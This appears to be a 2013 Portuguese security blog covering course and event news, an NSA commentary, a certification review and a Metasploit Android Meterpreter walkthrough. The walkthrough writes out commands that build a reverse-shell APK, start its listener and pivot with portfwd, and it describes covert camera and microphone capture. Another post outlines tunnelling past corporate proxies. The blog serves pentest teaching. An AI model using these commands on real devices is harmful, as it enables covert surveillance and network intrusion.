14 de agosto de 2013

Novidades no HackProofing

Pessoal, temos algumas novidades para os próximos meses, e gostaria de compartilhar com vocês:

- No mês que vem, setembro, teremos a primeira turma do curso de Engenharia Social, com duração de 18 horas. Em breve abrirei as inscrições, e a ementa será que está logo abaixo:

  • Princípios de Engenharia Social
  • Princípios de Inteligência e Contra Inteligência
  • Segurança Física
  • Busca de Informações
  • Pentest Físico
  • PNL para Hacking
  • No-Tech e Low-Tech Hacking
  • Softwares para ataques de Eng. Soc.
  • Lockpicking
-----------------------//-----------------------

- Em outubro ocorrerá o OWASP AppSec latam, em Lima-Peru, e três brasileiros palestrarão lá: eu (Secure Development Training: A Real Case of Sucess), Jordan Bonagura (The CSOs Myopia) e Bruno Ribeiro (Securing the digital certificate issuing process). Para quem quiser saber mais informações sober o evento, visite https://www.owasp.org/index.php/AppSecLatam2013/pt

-----------------------//-----------------------

- Em breve começarei a vender aqui pelo blog, nosso HackPwn, bem parecido com o equipamento abaixo, porém mais compacto, mais leve e com bateria de duração de 5h.


Esse é o equipamento utilizado na confecção de nosso HackPwn, como podem ver, é menor, com a bateria integrada, e bem mais discreto:


Nosso equipamento terá capacidade de quebrar senhas de redes wireless que detectar enquanto estiver em funcionamento (pode estar até mesmo dentro do seu bolso. Você poderá levantar um hotspot wifi com ele e permitir que outras pessoas naveguem na internet, e capture os dados de quem quer que esteja conectado, redirecionar páginas e etc.

O objetivo do equipamento é facilitar o processo de teste de invasão em redes wireless, e ataques que envolvam uma certa dose de engenharia social.

E esse aparelhinho já virá com os seguintes softwares instalados e configurados:

  • Nmap network scanner
  • Tcpdump sniffer
  • Netcat Hacker’s swiss army knife
  • aircrack Wireless network analysis
  • kismet Wireless network analysis
  • reaver Wireless attack
  • Perl Scripting Language
  • Python Scripting Language
  • openvpn VPN Client and Server
  • dsniff suite of sniffing and spoofing tools, including arpspoof
  • nbtscan NetBIOS Network Scanner
  • snort Sniffer, Packet Logger, Intrusion Detection System
  • karma Wireless Sniffing Tool
  • samba2-client Windows File Sharing Client
  • elinks Text Based Web Browser
  • yafc FTP Client
  • openssh-sftp-client Secure File Transfer Client
  • Metasploit security framwork
  • SET Social Engineering Tolkit


Em breve também anunciaremos o início das vendas. Estamos preparando alguns outros equipamentos interessantes que só encontramos fora do Brasil. Aguardem!

9 de julho de 2013

NSA e a espionagem no Brasil: novidade?

Aproveitando que está rolando uma conversa na lista exploits-brasil sobre o assunto, colocarei abaixo o e-mail que enviei para a lista acerca do assunto em voga: a captura de dados pela NSA em um nível mundial.

A preocupação de muitos é sobre segurança de software e hardware apenas, mas esquecem o fator principal: o humano!

Segue minha msg enviada à lista...

Enquanto os jornais estão alardeando sobre o assunto essa semana, lembro que desde o final da década de 90 ouço falar do Echelon e Carnivore. O Echelon, que já existia desde a Guerra Fria só foi adaptado para a tecnologia atual (fibras) e agora o pessoal chama de PRISM.

James Bamford, pequisador sobre assuntos correlatos, já fala da existência da NSA desde a década de 80, quando todo mundo achava que NSA era a NASA escrito errado kkkkk. 

Os EUA tentaram grampear os cabos marítimos com um submarino, e não dando certo, criaram bases em locais estratégicos onde poderiam grampear os cabos por meios terrestres. Tanto que a "figurinha" apresentada sobre os cabos de fibras marítimas e os pontos de captura de tráfego como se fosse uma novidade, esse mesmo cara apresentou na palestra dele da RSA USA 2009...


E só uma coisa: a NSA tbm utiliza o que ele chamam de gumshoes, que nada mais são do que infiltrados nas organizações. Espionagem não é só software e nem hardware, mas a principal ferramenta é justamente o ser humano. Enquanto se discute captura de dados na rede, esquecem-se que infiltragem é a principal técnica de espionagem.

A própria sede da AT&T em São Francisco tem uma pequena salinha, onde todo o tráfego que entra nos EUA por lá, é capturado. E lá não é software, mas sim infiltragem física para essa captura de dados. Segue uma das imagens da palestra desse cara na NSA 2009:


Agora, essa notícia de que o governo brasileiro não sabia da base da NSA na embaixada, é historinha na minha opinião.

Quem deu todo o treinamento para os brasileiros na época de criação e implementação do antigo SNI (hoje em dia com o nome de ABIN)? Certamente que não foram os índios... 

Oficiais do Exército foram para os EUA passar alguns meses lá para serem treinados na área de inteligência,  e posteriormente americanos vieram ao Brasil para continuar o trabalho. Ninguém nunca ouviu falar em troca de favores? Será que o Brasil não tem histórico, pelo menos nos últimos 60 anos, de possuir VÁRIAS bases americanas em solo nacional? Basta pesquisar sobre as bases, principalmente no Norte e Nordeste de nosso país.

E mais uma última pergunta: será que o SNI (e atualmente a ABIN) acreditava que os americanos não tinha nenhum interesse em nossas informações e recursos, principalmente um país como os EUA que possui histórico de querer controlar tudo (vide Guerra Fria e todo seu histórico de espionagem)?

Mais uma vez acham que somos otários...

26 de junho de 2013

OWASP AppSec LATAM 2013


Caros,

Como líder do Capítulo OWASP Rio de Janeiro, é uma honra anunciar que o Capítulo OWASP do Peru sediará a conferência mundial OWASP AppSec Latam 2013 que será realizada em Lima, Peru. O evento consiste em dois dias de treinamento (1 e 2 de outubro), seguidos por dois dias de palestras (3 e 4 de outubro). O evento será em teatros e auditórios da Universidade Tecnológica do Peru.

A Conferência Global AppSec Latin America 2013 é um encontro onde líderes latino-americanos de segurança da informação apresentam ideias inovadoras. Eventos OWASP atraem a audiência global interessada em saber os próximos passos sobre os assuntos apresentados.

São esperados entre 200 e 250 participantes de toda a América Latina e de diferentes indústrias, incluindo Governo, Finanças, Telecomunicações, Tecnologia, Saúde e Educação, entre outros.

Se você está interessado em oferecer treinamentos ou apresentaçãoes, estão abertos os chamados para palestras e treinamentos - CFT - e CFP.

O prazo para apresentação de propostas é 02 de agosto de 2013.

Para mais informações, visite: appseclatam.org

Você também pode seguir no twitter para ficar atualizado com notícias e anúncios: @AppSecLatam

Estou disponível para qualquer dúvida.

PS: além do evento valer muito à pena, as passagens aéreas de ida e volta para Lima chegam a ser mais baratas do que para alguns estados brasileiros.

13 de junho de 2013

Como burlar um proxy corporativo

Muita gente hoje em dia trabalha em empresas que utilizam proxys corporativos para filtrar aquilo que o funcionário acessa em seu horário de trabalho. Acho isso justo e necessário muitas vezes.

No entanto, para um pentester que esteja realizando um teste do tipo gray box, muitas vezes é necessário acessar a web para baixar alguma ferramenta ou código malicioso para realizar uma escalada de privilégios na máquina em que está trabalhando. É justamente para essas pessoas que direcione esse post. Mas se algum funcionário utilizar essa dica para burlar os controles impostos pelo seu empregador, aí vai outra dica: para pegá-lo existe a rastreabilidade, e uma série de ferramentas e métodos para descobrir que esses controles foram burlados. Isso inclusive é coisa fácil de saber para um perito forense :-)

A ideia aqui, é utilizar algumas ferramentas do tipo Unix like para fazer um bypass em proxys Windows, que utilizam autenticação NTLM.

As seguintes ferramentas serão utilizadas:
  • cntlm é  um proxy que permite que nossas ferramentas atravessem o proxy Windows, realizando a autenticação NTLM. Ele fica "escutando" (listening) no localhost e funciona como um proxy HTTP comum.
  • corkscrew para tunelar o tráfego SSh sobre proxys HTTP. 
  • Um cliente ssh para abrir um socks proxy no localhosty e um servidor ssh ouvindo na 443.
  • Um browser que suporte socks proxy (ex. Firefox)

O tráfego vai fluir na seguinte direção:

Firefox -> ssh client -> corkscrew -> CNTLM -> Corporate Proxy -> SSH server -> Internet


Não vou entrar no mérito de como configurar cada uma dessas ferramentas, pois é coisa simples que se encontra por aí na net. A ideia é mostrar quais os recursos usar para fazer esse bypass. até porque se um pentester não souber como configurar isso, é melhor desistir da profissão :-)

See ya, folks!

10 de junho de 2013

Referências de artigos de Forense Digital e Segurança da Informação na WEB

Essa dica encontrei no blog do Lenny Zeltser, especialista em análise de malwares e instrutor da SANS, além de criador da distribuição Linux REMnux, voltada para engenharia reversa e análise de malwares. O link do blog dele encontra-se na minha lista de blogs interessantes, na parte inferior direita.

Da mesma forma que ocorre com ele, muitas pessoas (principalmente alunos), me pedem referências de sites, artigos e materiais em geral voltados para essa área de forense e infosec. Abaixo, segue uma lista de sites, compilada pelo Lenny Zeltser, divididos em grupos:


Digital forensics in general:
Specific to malware analysis:
Broader IT and information security career tips:

Espero que aproveitem e que essas referências sejam de valia para todos!

6 de junho de 2013

Meterpreter para Android



Há um tempo atrás, começou uma movimentação entre o pessoal que cuida de um fork do Metasploit, para desenvolver diversas funcionalidades que não existem na versão original mantida atualmente pela Rapid7. E dentre essas funcionalidades, está o Meterpreter Java portado para Android.

Já tem um bom tempo que estamos no aguardo de um Meterpreter para Linux, pois só havia uma versão para Windows, e algumas tentativas para o Linux, mas essa versão para Android, também é hiper bem vinda!

Para quem quiser dar uma olhada nessa nova funcionalidade, basta baixar essa versão do Metasploit, ou fazer a atualização de sua instalação com o comando ./msfupdate.

Logo abaixo, vocês podem ver o resultado desse comando atualizando o Metasploit com essa funcionalidade:

./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[...]
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java


Além disso, podemos visualizar se o mesmo já está instalado:

./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)



E para testá-lo, podemos criar um payload que permite termos uma conexão reversa:

./msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.102 R > shell.apk


É interessante, que nesse caso específico, precisamos definir que o formato de saída do payload será RAW (por isso o parâmetro "R"), mas nesse caso em específico, apesar da saída ser RAW, o msfpayload cria um arquivo APK no formato específico do Android. Vejamos:

file shell.apk 
shell.apk: Zip archive data, at least v2.0 to extract

Depois de criado o arquivo, basta que instalemos o mesmo em um dispositivo Android, para vermos seu funcionamento. Mas antes de instalá-lo, vamos deixar nossa máquina escutando, à espera de uma conexão vinda do dispositivo Android:


./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E


Na imagem acima, podemos ver a conexão reversa sendo realizada e o resultado do comando sysinfo.

Com esse meterpreter, podemos tirar fotos a partir da câmera do dispositivo Android, tanto a dianteira quanto a traseira, se houver. Outras duas interessantes possibilidades, é acionar o microfone do dispositivo para gravação de áudio ambiente e de ligações, e também a utilização do terminal do dispositivo como se fosse um micro remoto. Obviamente que existem outras, e deixo vocês testarem por conta própria :-)


Ok, até aí, quando pensamos em usuários comuns, não vejo muitos problemas, a não ser, obviamente, a invasão de privacidade. Por exemplo, imagine você sendo chantageado, porque um cara descobriu que em sua última ida ao motel, não foi sua esposa que lhe acompanhou (ou vice-versa) ;-)

Mas pensemos em uma grande corporação, onde  o termo BYOD (Bring Your Own Device) está em voga e sendo implementado (sem os devidos controles de segurança)... O que será que pode ser descoberto gravando o áudio de um dispositivo utilizado por um executivo durante suas reuniões? E as fotos dos locais que ele frequenta? 

Mas ainda assim isso é pouco...

Acredito que os(as) senhores(as), que já utilizaram o Metasploit (principalmente quem já fez algum curso de pentest comigo) conheçam o termo pivoting, que basicamente é a utilização de uma sessão do meterpreter, sendo utilizada como rota para tráfego de rede. Podemos fazer isso com o portfw também, como descrito nessa documentação da Offensive Security - http://www.offensive-security.com/metasploit-unleashed/Portfwd . Executando o comando abaixo, realizamos isso:

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80


Com esse procedimento, qualquer dispositivo Android que tenha acesso à rede interna de uma companhia, e que tenha sido comprometido por um atacante, torna-se uma porta de entrada para todos os recursos acessíveis para o funcionário dono do mesmo. E se esse funcionário, mais uma vez, for um executivo? E se esse executivo deixa seus filhos utilizarem seu smartphone ou tablet para instalar joguinhos sem conhecer a procedência ou confiabilidade dos mesmos?

Durmam com isso na mente!

Essa é uma preocupação que eu mesmo tenho, já que atuo com forense. Podem ver minha palestra sobre forense em Android aqui:
Vídeo - http://hackproofing.blogspot.com.br/2013/05/video-de-palestra-androids-forensic.html
Slides - http://hackproofing.blogspot.com.br/2012/05/slides-androids-forensics-you-shot.html

Além disso, ainda atuo na frente de iniciativas de SI em projeto de implementação de BYOD em uma  grande corporação... Logo, esse assunto faz parte de minhas noites insones ;-)

29 de maio de 2013

GXPN - GIAC Exploit Researcher and Advanced Penetration Tester



Hoje venci um desafio que havia planejado desde fevereiro: tirar a certificação GXPN.

Enfim, depois de 3 meses de estudo intensivo, mais de 1.400 páginas de material, diversos desafios online vencidos nos Labs via VPN da SANS, incluindo um CTF final, fiz a prova com conteúdo bem puxado, e consegui passar.

Vou contar um pouco sobre esse curso e essa certificação...

O conteúdo abordado por essa formação é o seguinte:

Exam Certification Objectives

ObjectivesObjective Outcome Statement
Accessing the NetworkThe candidate will demonstrate an understanding of how to bypass network access control systems.
Advanced Fuzzing TechniquesThe candidate will be able to develop custom fuzzing test sequences using the Sulley framework.
Advanced Stack SmashingThe candidate will demonstrate an understanding of how to write advanced stack overflow exploits against canary-protected programs and ASLR.
Crypto for Pen TestersThe candidate will be able to attack and exploit common weaknesses in cryptographic implementations.
Escaping Restricted EnvironmentsThe candidate will demonstrate an understanding of restricted environments in Linux and Windows, Desktop restriction techniques, as well as tools and techniques for bypassing them.
Exploiting the NetworkThe candidate will demonstrate an understanding of how to exploit common vulnerabilities in modern networks attacking client systems and common network protocols.
Fuzzing Introduction and OperationThe candidate will demonstrate an understanding of the benefits and practical application of protocol fuzzing to identify flaws in target software systems.
Introduction to Memory and Dynamic Linux MemoryThe candidate will demonstrate a basic understanding of X86 processor architecture, Linux memory management, assembly and the linking and loading process.
Introduction to Windows ExploitationThe candidate will demonstrate an understanding of Windows constructs required for exploitation and the most common OS and Compile-Time Controls.
Manipulating the NetworkThe candidate will demonstrate an understanding of how to manipulate common network systems to gain escalated privileges and the opportunity to exploit systems.
Network Boot AttacksThe candidate will be able to attack and exploit common weaknesses in network boot environments, including DHCP, BOOTP, and PXE.
Python and Scapy For Pen TestersThe candidate will demonstrate an understanding of the ability to read and modify Python scripts and packet crafting using Scapy to enhance functionality as required during a penetration test.
ShellcodeThe candidate will demonstrate the ability to write shellcode on the Linux operating system, and demonstrate an understanding of the Windows shellcode methodology.
Smashing the StackThe candidate will demonstrate an understanding of how to write basic exploits against stack overflow vulnerabilities.
Windows OverflowsThe candidate will demonstrate an understanding of how to exploit Windows vulnerabilities on the stack, and bypass memory protections.
O que posso dizer, é que esse conteúdo REALMENTE é cobrado na prova. Apesar da prova ser do tipo "open book", onde podemos levar as apostilas e/ou anotações, optei por não usar esse recurso por dois motivos:
- deixar que a prova realmente comprovasse pra mim mesmo meu nível de conhecimento;
- é balela a história do open book, prq não serve pra muita coisa, e obviamente só percebi isso quando já estava fazendo a prova.

Agora, por que o open book não ajuda muito? Simplesmente porque o conteúdo não é decoreba, mas sim análise de casos, tráfego de rede, mapa de rede, resultado de debugging e análise do porque um exploit ou shellcode não funcionou, e o que fazer para que funcionem, análise de scripts de fuzzing e etc. Com isso, a maioria das questões apresenta print de telas para que sejam analisados e uma resposta seja dada.

A prova possui um total de 75 questões, com 180 minutos para realização da mesma. O que dá em média menos de 2 minutos e meio para cada questão. Felizmente finalizei com uma 1h30, pois nunca tive muita paciência com provas, ou sei a resposta ou não, afinal a resposta não cai do céu :-)

Voltando ao curso...

Optei fazer na modalidade SelfStudy, na qual recebemos as apostilas pelo correio, impressas, os mp3 das aulas (equivalente à 5 dias de curso, mais o CTF), e os DVDs com algumas VMs e ferramentas para não precisar fazer downloads para as práticas.

Assim que nos inscrevemos, também recebemos as credenciais para acesso via VPN aos labs da SANS e realizarmos as práticas de cada módulo do curso (são 5 ao todos, e o mesmo número de apostilas). E esse acesso dura 4 meses, que é o tempo que temos entre o estudo e a realização da prova. Se não realizar os labs e a prova nesse período, perdemos o acesso e o voucher, e precisamos pagar uma taxa para reagendar a mesma. Por esse motivo, não quis correr o risco e agendei a prova para três meses após receber todo o material e iniciar os estudos.

Cada módulo, ao todo 5, tem uma apostila específica, com teoria, exercícios práticos, e um bootcamp final para reforçar o conteúdo estudado no módulo. Os módulos são:
- Exploração de Redes
- Criptografia para Pentesters
- Python, Scapy e Fuzzing
- Linux Exploitation
- Windows Exploitation

Apenas para constar: os pdfs que estão disponíveis para download na internet, já estão desatualizados e sem uma série de conteúdos, além de não possibilitar o acesso de quem baixá-los aos labs da SANS.

Como o material é bem extenso (quase 1.400 páginas no total), decidi adotar uma estratégia para agilizar e facilitar meus estudos em um período curto. Afinal, o conteúdo além de complexo, é muito extenso para absorver tudo em 3 meses.

Comecei estudando toda a parte teórica, de todos os 5 módulos, e só depois que terminei, fiz as práticas, pois ajudou-me a concentrar esforços em duas fases distintas (só teoria e depois só prática), sendo que a segunda fase (prática) ajudou-me a relembrar e fixar a primeira parte (teoria).

É muito importante conseguir montar um lab da forma correta para que os exercícios dêem os resultados esperados e possamos entender a lógica da coisa toda. Por exemplo, sem ter um Windows XP SP0, um Windows XP SP3, um Windows Seven, um Windows Server 2003 e um Server 2008, ficará difícil entender o porque de um exploit funcionar em um, e não em outro, e ainda pode ter a possibilidade de readequar um exploit e/ou shellcode para funcionar em mais de uma versão de Windows, ou. no caso do Linux, em versões diferentes do kernel.

O investimento é alto, mas o conteúdo estudado compensa. Infelizmente no Brasil não ganhamos tão bem a ponto de tirar o escorpião do bolso e sacar $4,555.00 para bancar um curso e uma prova dessas, mas as vezes essas oportunidades caem do céu, como no meu caso, onde a empresa onde trabalho decidiu custear essa certificação. E como forma de reconhecimento, vi-me obrigado a passar na prova na primeira tentativa.

Uma coisa que achei interessante, foi o diferencial entre a certificação GXPN e a OSCE, onde na primeira é englobado técnicas de exploração tanto de Windows quanto de Linux, enquanto que na segunda, apenas sistemas Windows são explorados. De qualquer forma, a OSCE já está em meu radar para os próximos meses :-)

Agora tenho novos planos de certificações, para poder aprofundar-me em alguns assuntos de interesse pessoal, e outros que além de interesse pessoal, também envolve os interesses de meu empregador. No primeiro grupo, está a GREM, que infelizmente será deixada para o início do ano que vem, enquanto que aquelas que são de meu interesse, mas também envolvem minhas atividades do dia a dia, já estão agendadas para os próximos meses, e pagas.

Os próximos passos são: OSCP, através de treinamento presencial na Black Hat, e a OSCE, logo após a prova da OSCP. Ambas certificações já estão pagas, e só estão esperando a chegada da Black Hat e esse descanso merecido pós-GXPN. E inclusive sei que a GXPN está servindo como base para a OSCP e OSCE, pois sei do alto nível técnico cobrado por elas em suas avaliações. Esse foi o motivo por decidir seguir essa sequência de certificações.

Confesso que nesses últimos meses (de fevereiro à maio), deixei todos os livros de lado, até mesmo qualquer leitura para espairecer a cabeça, e foquei todo meu esforço nas apostilas, que somadas davam em torno de 3 livros bem técnicos e todos em inglês. Esse é outro ponto importante: o inglês precisa estar afiado, pois todo o material, bem como a prova, está em inglês, sem opção alternativa de tradução.

Bem, essa foi minha experiência, e alguns de meus planos futuros. Se alguém precisar de alguma ajuda, ou tirar dúvidas, sinta-se à vontade, que durante meu escasso tempo livre tentarei ajudar.

OBS1: a prova da GXPN tem 75 questões e é necessário acertar pelo menos 66% da prova para passar. Isso dá 50 questões.

OBS2: não colocarei meu score aqui, pois mesmo que eu diga que tirei 99% vai ter gente falando besteira, dizendo que não sei nada porque não tirei 100% ;-)